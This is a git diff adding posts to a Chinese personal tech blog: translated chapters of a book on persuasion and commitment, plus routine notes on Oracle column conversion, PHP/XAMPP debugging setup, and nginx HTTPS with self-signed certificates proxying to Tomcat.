+我们发现，参与我们研究的所有医疗中心都有一个通行的做法：给病人发一张预约卡，上面填写着下次就诊的日期和时间。一般来说，这些细节是前台接待填写的。我很想知道这个做法是否不太明智，因为一致原理说，当人们主动作出承诺时，遵守的动机最强烈。 + +于是，我们测试另一个小小的改变，用意是让患者主动参与到敲定预约的过程中来，而不是被动听从。这个小小的改变是什么？让前台接待请病人亲自把下次预约的日期和时间填写到卡片上。为期4个月的测试过后，我们发现该组患者的爽约率明显降低了：下降了18%，要算总数的话，这个“四两拨千斤”的方法省下的钱可不是3000万美元的，而是1.8亿美元。成本是多少？为零。 + +从这个“医生研究”中得到的额外发现让我们看到另一个非常重要却被人忽视的陷阱，在当今的交流和会议中，我们常常会掉进去：我们总是亲力亲为，因为这样一来，起码事情能够被做完，产生这种想法是多么容易啊！于是，销售会结束后，销售员发现自己有许多后续事情要做，但客户要做的事情就很少，甚至一件也没有。在这种情况下，这位销售员的干劲儿肯定比客户大。一位培训师可能以为，为客户把量身定制的培训方案写好，能够显示出他是多么周到体贴，专心致志，服务至上，可他忘记了一点：这样一来，客户对项目的参与热情大概就没他这么高了。 + +可是，如果让潜在客户做出主动承诺并写下来是不现实的，这该怎么办？或者说，有些会议需要许多人参加，各小组的任务不宜公开，或者指派某一个人承担全部的指责是不公平的，这该怎么办？在这种情况下，比较好的做法是，你自己把所有的行动计划记录下来，然后分发给众人，但在电子邮件的顶头一定要加上一句简短却非常重要的话：请收件人回复一个简单的“好的”，作为确认。这样一来，你发出的这份记录就能够如实反映他们确实明白，下一步行动也就好办多了。 + +但有些时候，无论我们如何尽力，也没有能力说服对方。在这种情况下，还有哪些与承诺和一致原理相关的小改变可以做？ diff --git a/_posts/2016-11-29-124-oracle-scripts.md b/_posts/2016-11-29-124-oracle-scripts.md new file mode 100644 index 0000000..f1eb084 --- /dev/null +++ b/_posts/2016-11-29-124-oracle-scripts.md @@ -0,0 +1,21 @@ +--- +layout: post +title: Oracle 常用脚本 +pid: 124 +tags: [oracle] +--- + +# udpate varchar2 to clob + alter table [TABLE_NAME] add temp varchar2(4000); + update [TABLE_NAME] set temp = [VARCHAR2_NAME]; + update [TABLE_NAME] set [VARCHAR2_NAME] = null; + commit; + + alter table [TABLE_NAME] modify [VARCHAR2_NAME] long; + alter table [TABLE_NAME] modify [VARCHAR2_NAME] clob; + update [TABLE_NAME] set [VARCHAR2_NAME] = temp; + alter table [TABLE_NAME] drop column temp; + commit; + + //----某些情况下，是需要对已有索引更新 + alter index [INDEX_NAME] rebuild; diff --git a/_posts/2016-11-30-125-the-small-big-09.md b/_posts/2016-11-30-125-the-small-big-09.md new file mode 100644 index 0000000..6f42b3f --- /dev/null +++ b/_posts/2016-11-30-125-the-small-big-09.md @@ -0,0 +1,43 @@ +--- +layout: post +title: 09 承诺要行动，要公开 +pid: 125 +tags: [细节如何轻松影响他人] +--- +我们前一本书《如何让人点头称是》的读者（现在大概超过50万了吧）应该对下面这一系列的研究很熟悉：我们中的两人与同事弗拉达斯·格里斯基威舍斯对酒店常用的、建议客人重复使用毛巾的环保倡议卡上的措辞做了些许调整，结果这个小小的改变对客人的行为带来了很大的影响。（即当我们在卡片上诚实地指出“先前大多数客人都会重复使用毛巾”之后，毛巾重复使用率升高了26%。） + +鉴于成千上万的酒店常客都对这种小卡片非常熟悉，所以每当我们在工作坊和演讲中提到这些研究时，就会激起大量的讨论。有时，有人会问酒店管理者还能用哪些方法来倡导客人们重复使用毛巾和床单。例如，你要是在客人还没有进到房间之前，比如在办理入住的时候就请他们做一个小小的承诺，会不会有助于环保呢？ + +另一组研究说服现象的科学家们已经做了一模一样的实验。他们发现，单是在办理入住时请客人们做一个貌似很小的承诺，就能带来相当大的改变——不仅能够提高毛巾床单的重复使用率，还能让客人们做出其他有助于环保的举动。 + +研究者凯蒂·巴卡——莫特斯（Katie Baca-Motes）和同事们在加利福尼亚州的一家人气酒店里进行了为期一个月的实验。酒店请客人在办理入住时做一个与环保有关的小承诺：有些情况下，这个承诺比较宽泛，客人要在一个“愿意在入住期间保护环境”的选项前打钩儿。另有一些情况下，这个承诺更为具体明确，比如“愿意在入住期间重复使用毛巾”。 + +除了作出宽泛或具体的承诺之外，有些客人还可以得到一个写着“地球之友”的别针徽章。作为对照，另一组在办理入住时无需作出环保承诺的客人也得到这种徽章。 + +最后，另一个对照组以正常模式办理入住：没有拿到徽章，也无须作出任何承诺。 + +结果如何呢？ + +研究人员首先看到的是有多少比例的客人愿意许下承诺。结果这个数字非常高。在拿到宽泛承诺的客人中，有98%的人都答应了；尽管拿到具体承诺的客人愿意勾选的比率比较低些，但结果也令人印象深刻：比例是83%。因此，初步看去，当你想要劝说某人许下承诺时，请他作一个较为宽泛（而不是更为具体）的承诺，你的成功概率会比较大。 + +当然这就引出了另一个问题。哪一个承诺更容易落实为行动呢？是宽泛的，还是具体的？ + +研究者们发现，在办理入住时做出更加具体的承诺的客人，比那些作出宽泛承诺更有可能重复使用毛巾（66％VS61%）。更为有趣的是，那些作出具体承诺，即愿意重复使用毛巾的客人也更有可能做出其他一些与承诺相一致的环保行为。例如他们更加有可能在离开房间时关灯，在办理退房时关上空调和电视。这个发现多少有点违背直觉，毕竟，咱们都很容易认为，比起那些只答应要重复使用毛巾的人，许下更为宽泛环保承诺的人应该做出更多有利于环保的事情吧。 + +此处的“四两拨千斤”启示是什么？任何一个想劝说他人做出多重并互相关联的行为改变的人，可以通过一个简单的两步法把成果最大化。第一步，确保最初承诺是具体明确的。第二步，确保在实践该承诺的环境中，放置一个“提示”，这个提示应该完全符合第一部中的具体承诺，并且能够引发出另外一些与此承诺相关的、符合你期望的行为。 + +咱们来看一个例子。比如说，你是个办公室经理，你面对的问题不仅要倡导员工更积极的回收利用物品。还要降低办公室的总能耗。上述发现，你应该首先请员工们做出一个针对某项行为的具体承诺（比如每天晚上下班后把废纸放回收纸篓）。然后你应该在一个能够提醒大家节约能源的地方放上一个“提示”（比如把回收纸篓放在电灯开关的附近）。这样做很可能会有一箭双雕的效果。如果你把一张写着“勿忘环保承诺，请随手关灯”的小卡片放在灯旁，还能进一步取得更好的效果。你在下一章中会看到，这额外的一步是非常重要的。 + +现在，咱们看看那些拿到徽章的酒店客人怎样了。正如你所料，比起只做了承诺的客人，那些作出承诺并得到徽章的人更有可能重复使用毛巾。在入住期间，他们也最有可能做出其他一些有利于环保的行为，这说明一个小小的徽章其他的两个重要作用：它既能提醒佩戴者遵守承诺，也是在向别人宣告，这个佩戴徽章的人许下的承诺。这个徽章的效果对慈善事业是个很有用的提醒，单是鼓励人们捐助善款是不够的，还应该给他们提供某种可以公开展示、标志着他们的许诺的东西，比如胸章，窗卡，或是汽车保险杠贴纸。 + +但是，那些没有先许诺就被硬塞了一枚徽章的酒店客人呢？在所有人中，他们是最不愿意重复使用毛巾的，事实上，这批人重复使用毛巾的比率比根本没参加研究的普通客人还要低。 + +这个结果与先前的研究是一致的。先前的研究一次又一次的显示，如果你想让某人把承诺切实付诸行动，那就需要作出承诺的那个人主动负起责任来。当酒店客人被硬塞了一个徽章的时候，他们显然对环保行动没什么责任感。结果往往适得其反。 + +事实上，在兑现承诺这件事上，还有两点也很关键：这个承诺是否以行动为导向；该组织或个人作出承诺时的公开程度如何。当酒店员工把徽章塞给客人的时候，他们扼杀了让客人主动采取行动的机会，客人也失去了公开作出承诺的机会。这是因为这个双重的错误，导致了糟糕的结果。 + +当然，企业不大可能只希望影响组织外部的人，比如顾客和客户。总有些时候，他们也需要说服内部的人员（比如员工和同事）改变行为。 + +上面这个酒店案例正是这样：即便是客人表示他们希望重复使用毛巾，收拾客房的员工也常常把毛巾给换掉。可是说服员工适时更换毛巾的最佳做法或许与说服客人重复使用毛巾的方法一模一样——具体说来就是，酒店经理应当先让员工们主动做一个小小的承诺，比如询问负责整理客房的员工，他们认为酒店员工听从客人吩咐有多么重要。一旦这一步完成了，经理就可以继续指出，客房部员工证明自己听从客户吩咐的一个表现就是，当客人表示，愿意重复使用毛巾时，就把毛巾挂回原处。当然，酒店经理不应该命令客房部的员工把写有“我们倾听客户的声音”的徽章挂在胸前，而是应当给他们提供一个主动佩戴，他的机会。 + +谁知道呢？他们这样做了之后，没准还会在离开房间时顺手把灯也给关了呢。 diff --git a/_posts/2016-11-30-126-php-dev-setup.md b/_posts/2016-11-30-126-php-dev-setup.md new file mode 100644 index 0000000..7194627 --- /dev/null +++ b/_posts/2016-11-30-126-php-dev-setup.md @@ -0,0 +1,110 @@ +--- +layout: post +title: PHP开发环境的搭建 +pid: 126 +tags: [php] +--- +在配置WeCenter开发环境的时候，遇到了几个误区和问题： + + 我们在Java中构建web app 需要编译成一个war包，就可以直接放到tomcat的webapps目录中，然后tomcat就可以运行了。 + PHP是解释型的语言，与Java差别较大，PHP只是提供了解释器。 + Apache或者Nginx只是提供了一个类似于静态服务器的作用。 + 当客户端发送请求给Nginx或者Apache,服务器找到对应的PHP文件，然后交给PHP解释器，解释器执行完毕，输出结果到客户端。 + 当你尝试去找一个PHP类型的服务器，是找不到的。 + +所以，当我们需要编写PHP web程序时，就需要配置apache/nginx, mysql, php等等。。。。比较麻烦 + +幸好有一个软件叫做XAMPP，这是一个套装，把常用的Apache,MySql, FileZilla, Mercury, Tomcat整合在一个软件里面。 + +当然，XAMPP并不包含开发工具，我尝试了Eclipse for PHP和VS Code,本文以VS Code来完成Debug配置(因为在使用Eclipse for PHP时，总是会出一些莫名其妙的错误)。 + +# 安装和配置XAMPP + + ## 下载地址(没有找到我要的PHP 5.4.16，先尝试安装(5.5.38 / PHP 5.5.38)看看后期跑，会不会有问题。) + https://www.apachefriends.org/zh_cn/download.html + + ## 安装好之后，我们需要对组件(Apache,MySql, FileZilla, Mercury, Tomcat)端口进行配置，主要是解决端口冲突问题。 + config -----> Service and Port Settings + + ## 点击启动apache. + ## 访问http://localhost，能出来页面，就说明XAMPP配置成功。 + + +# 安装配置 .Net Framework 4.5.2 + + https://www.microsoft.com/en-us/download/details.aspx?id=42643 + + +# 配置PHP的远程Debug + + D:\xampp\php\php.ini文件打开，增加如下内容： + [XDebug] + zend_extension = "D:\xampp\php\ext\php_xdebug.dll" + xdebug.remote_enable = 1 + xdebug.remote_autostart = 1 + xdebug.remote_handler = "dbgp" + xdebug.remote_host = "127.0.0.1" + xdebug.remote_port = 9000 + + +# 安装配置VS Code + ## 下载[VS Code](https://code.visualstudio.com/Download) + ## 打开VS Code， 配置VS Code 环境变量 + + 文件 --> 首选项 --> 用户设置 + { + "php.validate.executablePath": "D:\\xampp\\php\\php.exe" + } + + ## 下载安装PHP Debug 插件 + + 在vscode中按ctrl+p 在弹出的输入框中输入ext install php-debug + 记得重启VS Code + + ## 在VS Code中，打开文件夹到 D:\xampp\htdocs + + ## 新建文件index.php，并填入以下内容 + + hello abcd!'; + + ## 在index.php中随便打上一些断点。 + + ## 点击调试，选择环境(PHP) + 系统会自动生成launch.json文件，无需改动。 + + ## 打开浏览器，输入http://localhost/index.php + + ## 不出意外，就可以开始Debug了。 + + +当前我们的代码都存放在D:\xampp\htdocs目录中，可以到D:\xampp\apache\conf\httpd.conf重新指定其他路径。 + + +最后，谢谢同事小妹妹的文档，要不然，我还在Eclipse for PHP中浪费时间。 + + + +# 常见问题 + +## 端口被占用 + + 19:44:15 [Apache] Problem detected! + 19:44:15 [Apache] Port 443 in use by ""C:\vmware-hostd.exe" -u "C:\\config.xml"" with PID 3624! + 19:44:15 [Apache] Apache WILL NOT start without the configured ports free! + 19:44:15 [Apache] You need to uninstall/disable/reconfigure the blocking application + 19:44:15 [Apache] or reconfigure Apache and the Control Panel to listen on a different port + 19:44:15 [mysql] MySQL Service detected with wrong path + + +## Service name 被占用 + + 20:00:27 [mysql] MySQL Service detected with wrong path + 20:00:27 [mysql] Change XAMPP MySQL and Control Panel settings or + 20:00:27 [mysql] Uninstall/disable the other service manually first + 20:00:27 [mysql] Found Path: "C:\Program Files\mysql-5.7.12-winx64\bin\mysqld" MySQL + 20:00:27 [mysql] Expected Path: d:\xampp\mysql\bin\mysqld.exe --defaults-file=d:\xampp\mysql\bin\my.ini mysql diff --git a/_posts/2016-12-01-127-the-small-big-10.md b/_posts/2016-12-01-127-the-small-big-10.md new file mode 100644 index 0000000..bdabb80 --- /dev/null +++ b/_posts/2016-12-01-127-the-small-big-10.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 10 “心安理得”效应 +pid: 127 +tags: [细节如何轻松影响他人] +--- +你会尽最大努力来回收利用物品吗？或许你所在的公司实行环保政策，倡导员工们少使用纸张并尽可能地回收利用。这样的公司肯定不会只有一家。越来越多的组织和团体都逐渐意识到回收利用的好处，这是保护自然资源的方式之一。 + +但是，这些本意是想说服人们回收利用的方法会不会适得其反，导致自然资源消耗量反而增多？研究说服科学的学者们认为，在某种情况下，的确会出现这种事与愿违的现象。这不仅对办公室的环保政策有重要影响，对你要做的更加宽泛的影响行为也很有意义。 + +影响行为极少数发生在“真空”环境中，如果只关注某个单一行为，很可能会导致出乎意料的、甚至适得其反的结果。从日常生活中你或许能找到例子，在跑步机上多跑10分钟，你感到自己仿佛变得更加苗条了一点儿，所以早晨喝咖啡时就心安理得的吃一个香喷喷的麦芬蛋糕吧。午餐时选了健康沙拉，你或许就会理直气壮的要个甜点，最起码，吃完饭回到办公室时你就会坐电梯上楼梯，而不是爬楼梯了。 + +行为科学家杰西·卡特林（Jesse Catlin）和王怡同（Yitong Wang）想知道，这个“心安理得效应”——采取了一个积极的行为之后，人们就会心安理得地松懈下来，不再去做另一个积极行为——是否也会发生在环保行为方面。例如，放置回收利用纸篓的本意是鼓励人们把擦手纸扔对地方，方便纸张的回收利用，但它会不会反而导致人们使用了更多纸张？ + +为了验证这个想法，研究者们设计了两个实验。在第一个实验中，受试者得知他们要评估的一个新品牌剪刀的质量。评估的一个环节是，他们拿到了将近200张白纸，然后测试这些剪刀是否能锋利的把纸张剪出几何图形（例如三角形和方形）。一半受试者所在的房间里没有放置任何回收装置，只有一个垃圾桶。另一半受试者所在的房间里除了有普通的垃圾桶之外，还有一个带有回收标记的纸篓。关于几何形状的大小或可以用掉多少纸张，受试者没有得到任何具体的操作指示。相反，他们只是得到了简单的指令：把所有的碎纸都收拾干净并扔掉。然后，他们填写了一张“绿色态度”的调查表，表格中询问了他们对环保的看法和态度。 + +实验结果令人惊讶。有回收设施的屋子里的受试者用掉的纸张几乎比没有回收设施的那组多出的三倍。有趣的是，多用纸的现象与受试者时候测出的“绿色态度”是否积极并无关联。 + +所以，这第一个实验清楚地证明了“心安理得效应”的确存在。回收设施的出现导致人们用掉了更多的纸张。不过这种实验有一个潜在的漏洞，那就是它是在实验室环境下进行的，结果或许不能反映真实世界的状况。因此，卡特琳和王怡同把研究搬到了大学实验室外面，挪到了……男洗手间里！ + +开始做实验之前，他们先是统计了15天内这个男洗手间里的卫生纸的消耗量，计算出平均每天用用掉多少张卫生纸。这一步完成之后，他们就把一个很大的回收纸篓放在洗手池边，指示牌上写着，这个洗手间参与了一个卫生纸回收计划，放进这个纸篓的卫生纸都会被回收。接下来的15天里，他们继续统计卫生纸的用量。 + +结果与实验室里的一样，放置回收纸篓之后，卫生纸的消耗量增加了，平均每人多用了半张纸。乍一看，这个不起眼的增量似乎算不得什么。可是 鉴于每个工作日里会有100多人次使用这个洗手间，用纸量的增加就有了实实在在的意义:单是这一个洗手间，每年多消耗掉的卫生纸就有12500张。回收设施的出现反而导致用纸量增加，而不是减少，而且数字相当惊人！ + +这是怎么回事？一个可能的解释是内疚原理。也就是说，如果人们在使用和丢弃产品时产生的内疚心理，那么通过回收利用的行为，他们就可以减轻这种因为过度消费而产生的负面情绪。当然，负面情绪的减轻使得他们心安理得的用掉更多纸张，因为过度的消费可以被回收弥补。 + +或许，回收设施的出现成了一个简单的辩护理由。或许人们心想：“嘿，如果这只能回收利用，那我多用一点也没关系嘛。” + +先不去考虑是什么心理机制让人们心安理得，有一点是非常清楚的:倡导人们采取对环保有利的行为时，虽然提供便利的环保设施是至关重要的，但仅有这一点还是还不足以取得想要的结果，特别是在使用者不花成本或只花少量成本的情况下。在回收擦手纸的例子中，显然就是这样这种情况，你在办公室里倡导同事们更加注意环保的时候，大概也是如此。 + +举个例子。试想，你很“幸运”地自愿成为办公室里的“环保先锋”，现在你有了一个不那么惹人艳羡的挑战：说服同事们少用点纸张，用把用过的纸回收利用，然后再采取一些环保举动，比如离开大楼时把灯关上。再多想象一点儿，相应的设施也相应的设施已经有了，标记着回收利用的垃圾桶已经放进了办公楼，灯泡也都换成了节能灯。你已经知道这些设施虽然必不可少，但它们可能会造成始料未及的后果，既让同事们心安理得的用掉更多资源，而不是厉行节约。你知道，应该多采取一些额外的小步骤来抵消任何潜在的“心安理得的效应”。你该怎么做呢？ + +第一步就是在物品回收处和电灯开关旁加上一个提醒，告诉大家，虽然回收利用对环保有好处，但少消耗资源的好处更多。这样做与最近兴起的研究是一致的，也就是说，人们往往都很清楚回收利用的好处，但对回收的成本就没那么了解了。 + +另一步就是运用承诺和一致原理，把大家先前所做的环保承诺亮出来。更好的做法是，你在实施这个环保行动之前，就可以请大家做出一些小承诺。还记得第九章里提到的酒店研究吧，客人在办理入住时先签个承诺书，这不仅能提高毛巾和床单的重复使用率，还能让客人们在离开房间时更容易记得关灯和关电视。这就是一个“正向溢出效应”（positive spillover effect）［1］的例子。 + +行为改变的第一要义是“创造条件，让改变做起来容易一点”。本章中的研究提出了一个警告：提供一些让改变做起来容易点的设施固然重要，但这还不够。影响力高手总是把潜在的“心安理得效应”考虑进去，并采取一些简单的小步骤来抵消他们的作用。 + +［1］既是事物一个方面的发展，带动了该事物其他方面的发展。——译者注。 diff --git a/_posts/2016-12-01-128-centos-nginx-https.md b/_posts/2016-12-01-128-centos-nginx-https.md new file mode 100644 index 0000000..4fb50a2 --- /dev/null +++ b/_posts/2016-12-01-128-centos-nginx-https.md @@ -0,0 +1,103 @@ +--- +layout: post +title: nginx搭建https服务器 +pid: 128 +tags: [nginx] +--- +centos下安装nginx （注：如果nginx成功启动后还是不能访问查看一下防火墙策略） + + + # 安装编译环境 + [wwwroot@localhost conf]$ sudo yum -y install gcc gcc-c++ autoconf automake + + # 安装依赖包 + [wwwroot@localhost conf]$ sudo yum -y install zlib zlib-devel openssl openssl--devel pcre pcre-devel + + + # 下载nginx源码 + http://nginx.org/en/download.html + + + # 解压nginx + [wwwroot@localhost conf]$ sudo tar zxvf nginx-版本号.tar.gz + + + # 安装openssl + [wwwroot@localhost conf]$ yum -y install openssl openssl-devel + + + # cd到目录 + cd nginx-版本号 + + + # 生成make文件 + [wwwroot@localhost conf]$ sudo ./configure --with-http_ssl_module + + + # 编译 + [wwwroot@localhost conf]$ sudo make + + + # 安装 + [wwwroot@localhost conf]$ sudo make install + + # 启动 + [wwwroot@localhost conf]$ sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf + + + # 配置conf + + server { + + listen 443; + ssl on; + ssl_certificate /etc/nginx/conf/server.crt; + ssl_certificate_key /etc/nginx/conf/server_nopwd.key; + } + + + # cd到目录 + [wwwroot@localhost conf]$ cd /etc/nginx/conf/ + + + 创建服务器私钥 + [wwwroot@localhost conf]$ sudo openssl genrsa -des3 -out server.key 1024 + + + 签名请求的证书 + [wwwroot@localhost conf]$ sudo openssl req -new -key server.key -out server.csr + +注意此步骤过程中需要填写一系列的东西（公司名称、所在地等按照实际情况填） + +尤其注意 your server' hostname的填写，如果没有域名就直接填ip，如果有域名就填域名（都不需要端口号） + +例如： + + 直接填ip： 192.168.10.64 + + 域名： xph.baoguoding.com + + 模糊域名： * .baoguoding.com + + +制作解密后的私钥 + + [wwwroot@localhost conf]$ sudo openssl rsa -in server.key -out server_nopwd.key + [wwwroot@localhost conf]$ sudo openssl x509 -req -days 3650 -in server.csr -signkey server_nopwd.key -out server.crt + + +启动nginx + + [wwwroot@localhost conf]$ sudo nginx -s reload + +进入nginx主页查看 + + https://192.168.10.64:443 + +# 参考资料 + +[centos下使用nginx搭建https服务器](http://blog.csdn.net/u014190646/article/details/50058859) + +[nginx开机启动](https://blog.csdn.net/u013870094/article/details/52463026) + +[80端口跳转443端口](https://blog.csdn.net/m0_37886429/article/details/72271983) diff --git a/_posts/2016-12-02-129-nginx-tomcat-https.md b/_posts/2016-12-02-129-nginx-tomcat-https.md new file mode 100644 index 0000000..93b171e --- /dev/null +++ b/_posts/2016-12-02-129-nginx-tomcat-https.md @@ -0,0 +1,100 @@ +--- +layout: post +title: nginx代理https服务器，连接tomcat实战 +pid: 129 +tags: [nginx, tomcat, https] +--- +用户通过https访问nginx,nginx和tomcat之间使用http交互。 + +User ---(https)--> Nginx ---(http)---> Tomcat ----> SpringMVC + +从User 到Nginx的配置，参照[centos下使用nginx搭建https服务器](http://www.baoguoding.com/2016/12/128-centos-nginx-https.html). + +从Nginx到http过程如下: + +# 前提 + 我们不希望为了增加https，而需要更改我们的应用程序。 + SSL的默认端口是443，我们不打算更改我们的默认端口。 + 假设我们之前没有使用https访问的地址是:192.168.10.188:8080 + 我们希望给客户良好的体验。 + +# 方法一 + + server { + listen 8080; + server_name _; + rewrite ^ https://$host$request_uri? permanent; + } + + server { + listen 443; + server_name localhost; + + ssl on; + ssl_certificate /etc/nginx/conf/server.crt; + ssl_certificate_key /etc/nginx/conf/server_nopwd.key; + + location / { + index index.html index.htm; + proxy_redirect off; + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + client_max_body_size 10m; + client_body_buffer_size 128k; + proxy_buffers 32 4k; + proxy_connect_timeout 3; + proxy_send_timeout 30; + proxy_read_timeout 30; + proxy_pass http://site; + } + } + + +# 方法二 + + server { + listen 8080; + listen 443 ssl; # ssl on要注解掉 + server_name localhost; + + if ($scheme != "https") { + rewrite ^ https://$host$request_uri? permanent; + } + + + #ssl on; + ssl_certificate /etc/nginx/conf/server.crt; + ssl_certificate_key /etc/nginx/conf/server_nopwd.key; + + location / { + index index.html index.htm; + proxy_redirect off; + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + client_max_body_size 10m; + client_body_buffer_size 128k; + proxy_buffers 32 4k; + proxy_connect_timeout 3; + proxy_send_timeout 30; + proxy_read_timeout 30; + proxy_pass http://site; + } + } + + + + +# 参考资料 + +1. [SSL证书与Https应用部署小结](http://han.guokai.blog.163.com/blog/static/136718271201211631456811/) +2. [nginx使用ssl模块配置HTTPS支持](http://www.cnblogs.com/yanghuahui/archive/2012/06/25/2561568.html) +3. [Nginx搭建https服务器](http://www.cnblogs.com/grimm/p/5938511.html) +4. [centos下使用nginx搭建https服务器](http://blog.csdn.net/u014190646/article/details/50058859) +5. [nginx 代理https后，应用redirect https变成http](https://my.oschina.net/greki/blog/168089) +6. [解决Nginx+Tomcat下客户端https请求跳转成http的问题](http://blog.csdn.net/lindev/article/details/23952395) +7. [nginx强制使用https访问(http跳转到https)](http://blog.csdn.net/wzy_1988/article/details/8549290) +8. [nginx配置详解](http://blog.csdn.net/xmtblog/article/details/42295181) diff --git a/_posts/2016-12-02-130-the-small-big-11.md b/_posts/2016-12-02-130-the-small-big-11.md new file mode 100644 index 0000000..7520320 --- /dev/null +++ b/_posts/2016-12-02-130-the-small-big-11.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 11 如何为员工鼓劲儿加油 +pid: 130 +tags: [细节如何轻松影响他人] +--- +即便是对最优秀的管理者来说，为员工鼓劲儿加油也不是件容易的事情。幸运的是，许多经理人都有一个“激励工具箱”，里头放着各种各样的工具。例如，一个较为常见的，提高员工积极性的做法是实行多劳多得的政策，生产力高的员工拿的钱就多。变通的方法就是推行利润共享制度，从总体上提升大家的士气。再或者，管理者可以嘉奖最优秀的员工，提供大家想要的奖品，比如iPhone（苹果手机）、周末休假，甚至是与CEO（首席执行官）共进午餐的机会。 + +尽管这些方法都可能挺有用，但他们也有负面影响。例如，金钱激励容易变成一个参考点，人们在将来会拿它做参照。某位员工在这次拿到了奖金，那他很可能会期望下一次也拿的到，万一得不到了，他的干劲儿就会减弱。金钱上的激励有时也会侵蚀内在的积极性。但是，此类激励方法的最大缺点在于一个简单的事实：成本昂贵。 + +然而，行为科学研究表明，往你的激励“菜谱”中添加一个成分，就能提升效果，而且还无需成本。更重要的是，这个改变非常小，准备时间只需5分钟。 + +还记得我们在第六章中提到的沃顿商学院教授亚当·格兰特吗？他认为，员工没能把最大的潜力发挥出来，往往是因为少了一个基本的因素：他们忘记了这份工作的意义和重要性。格兰特认为，如果有人能够提醒员工，他们的工作是多么重要，他们可能就会更有干劲儿，进而变得更有生产力。 + +为了测试这个想法，他在一所大学的呼叫中心里展开了研究。这些员工的任务是给校友打电话，劝说他们为学校的奖学金捐款。格兰特先是把呼叫中心的员工随机分成三组。第一组员工阅读了其他一些员工写的文章，内容是在他们看来这份工作能给人带来什么好处。一般来说，他们会写到金钱报酬，以及这份工作提高了自己的技能，扩大了知识面之类的。格兰特把这个小组称作“个人好处”组。 + +第二组员工读到的故事是学生们写的，这些学生都曾经从这个捐款活动中受益。学生们写道，奖学金对他们的人生有着无比积极的影响，他们因此可以去追求珍贵的梦想和目标，如果没有奖学金，这一切都是不可能的。格兰特把这个组叫作“伟大意义”组。 + +第三组没有阅读任何文章，他们是对照组。格兰特对比了员工们在研究开始一周前与一个月后募集到的捐款笔数和总金额。 + +他的发现令人惊讶。 + +无论是看到捐款笔数还是总金额，“个人好处”组对照组业绩在干预前后几乎没什么变化。然而，“伟大意义”组在干预之后筹到的捐款笔数升高了一倍多，从平均每周9笔提升到23笔。捐款的金额也提升了一倍多，从平均每周1288美元增加到3130美元。 + +那么，这个方法为什么能取得如此显著的成效？进一步的分析显示，业绩提升的主要原因是因为这些先前干劲儿不太足的员工在这些感人的故事中认识到了自己的价值，因此病的变得精神抖擞。由于充满了干劲儿，他们每小时打出了更多电话，与更多人交谈，因此也就募集到了更多捐款。 + +对想要激励他人的人来说，这个研究结果非常富有启发性。无论是在私企，还是在公共部门或社会企业，几乎每份工作都有自己的意义和重要性。管理者应当做出小的改变就是要采取一些行动，确保员工们不会忘记工作的意义。 + +这些行动的步骤是什么？客户们总会从某位员工那儿得到帮助，或是从产品或服务中受益，如果企业没有定期收集这方面的故事和感言，我们的建议是现在就开始吧。对于那些已经这么做了的企业，“四两拨千斤”的做法就是把这些故事在公告板上贴出来。或者，与其指望员工主动去看，还不如把这些故事分发给员工。就像亚当·格兰特让呼叫中心的员工阅读工作价值故事一样，团队领导者和主管应该在每次员工会议开始时都回顾一个精彩完成工作、让客户满意的故事。鉴于我们在前文中讨论过得承诺原理，于其让经理来宣读这类故事，效果更好的做法是请团队成员挑选出自己最喜欢的故事，并当着同事们的大声读出来。 + +聪明的管理者可以做的另一个改变是把客户请过来现身说法，让员工们亲耳听到客户的声音。如今，拜Skype和facetime这样的科技手段所赐，客户甚至不必亲临现场，身处艾奥瓦州埃姆斯的员工就可以轻而易举的看到自己的工作和产品为肯尼亚内罗毕的客户们带来的影响。亚当·格兰特在研究中得到一进一步发现证实了这个做法的好处：当呼叫中心的员工有机会跟拿奖学金的学生们见面并听到他们的故事时。员工们的干劲儿和业绩都进一步提高了。 + +这个“四两拨千斤”的方法还可以用在很多地方。例如，制药公司可以安排患者来讲述公司的药品对他们的人生起到了多么大的帮助，借此让销售代表们重新认识到这份工作的重大意义。如果社工和家庭护理人员能够亲耳听到他们给人们的生活带来了多少改变，他们也会感到更加欣慰。 + +最后，格兰特讲起了在那个呼叫中心做研究时发生的一个故事：他在某位员工的桌子上瞧见一句悲哀的口号上面写着：“在这个地方做出漂亮活儿，就好比穿着黑边西装时尿湿了裤子。你自己觉得热乎乎的，别人却一点儿也不知道。”或许，这就是管理者能做的最微小的改变——看到员工业绩出色时简单的一句“干得漂亮”吧。 diff --git a/_posts/2016-12-05-131-the-small-big-12.md b/_posts/2016-12-05-131-the-small-big-12.md new file mode 100644 index 0000000..9c4fc33 --- /dev/null +++ b/_posts/2016-12-05-131-the-small-big-12.md @@ -0,0 +1,41 @@ +--- +layout: post +title: 12 如何避开决策陷阱 +pid: 131 +tags: [细节如何轻松影响他人] +--- +1973年，时任美国广播公司（ABC）副总裁的巴里·迪诺（Barry Diller）还是黄金时段节目的负责人，他打破了一个记录:以335万美元的天价买下了电影《波塞冬号历险记》的电视播放权。 + +单是这个巨额数字就够引人侧目的了（这笔钱在今天大约为1530万美元），但更让人惊愕的是，就在迪勒拿起笔签合同的那一刻，他已心知肚明——这笔交易，他起码得损失100万美元。 + +这笔钱比他该付、想付，甚至需要付的还要多。那么，是什么原因让一个拥有多年行业经验的资深管理者做出这个决定？轮到你谈判的时候，有哪些小改变可以帮助你避免犯下类似的错误？ + +咱们先暂时离开20世纪70年代的电视行业，到另一个完全不同的环境里转转——当今的商学院。哈佛商学院教授马克斯·巴泽曼（Max Bazerman）在他谈判课的第一天都会做一个有趣的实验:从钱包里抽出一张20美元的纸币来拍卖。只要遵守两条原则，任何人都能参与拍卖：价格1美元递增；第二名要受惩罚；罚金就是他最后的出价，而且什么都得不到。他们一开始，学生们的手都迅速举了起来，因为大家都想抓住这个捡便宜的机会。“模式总是这样，”巴泽曼说，“拍卖很快就白热化了。”可是，有趣的事情发生了。 + +等出价到了14～16美元之间，竞拍者突然意识到，自己并不是唯一想捡便宜的人。大家都飞快地退缩了，胳膊放了下来，手塞到了口袋里，只剩下两个出价最高的人还在继续。到了这个关口，真正有趣的现象出现在不知不觉的情况下，余下的两个竞拍人都锁定在了一个新游戏里。这两个人不是要争着的获胜，而是抢着别输。 + 